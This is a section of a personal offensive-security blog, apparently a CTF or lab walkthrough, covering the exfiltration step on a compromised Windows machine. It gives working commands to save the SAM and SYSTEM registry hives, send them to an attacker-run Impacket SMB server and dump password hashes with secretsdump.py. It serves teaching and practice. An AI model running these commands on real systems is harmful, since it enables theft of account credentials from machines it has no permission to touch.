boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

05. Exfiltration

To prove to Thomas that his machine is rooted, I'll hand over the password hash for his administrator account. That means saving the SAM and SYSTEM registry hives and dumping the hashes offline.

Save the Hives

reg.exe save HKLM\SAM sam.bak

reg.exe save HKLM\SYSTEM system.bak

Transfer to the Attack Box

Start an SMB server on the attack box:

smbserver.py share . -smb2support -username user -password s3cureP@ssword

Connect to it from Thomas' PC:

net use \\10.50.106.231\share /USER:user s3cureP@ssword

Move sam.bak and system.bak over the share.

Dump the Hashes

Dump the hashes with secretsdump.py from Impacket:

python /usr/local/bin/secretsdump.py -sam sam.bak -system system.bak LOCAL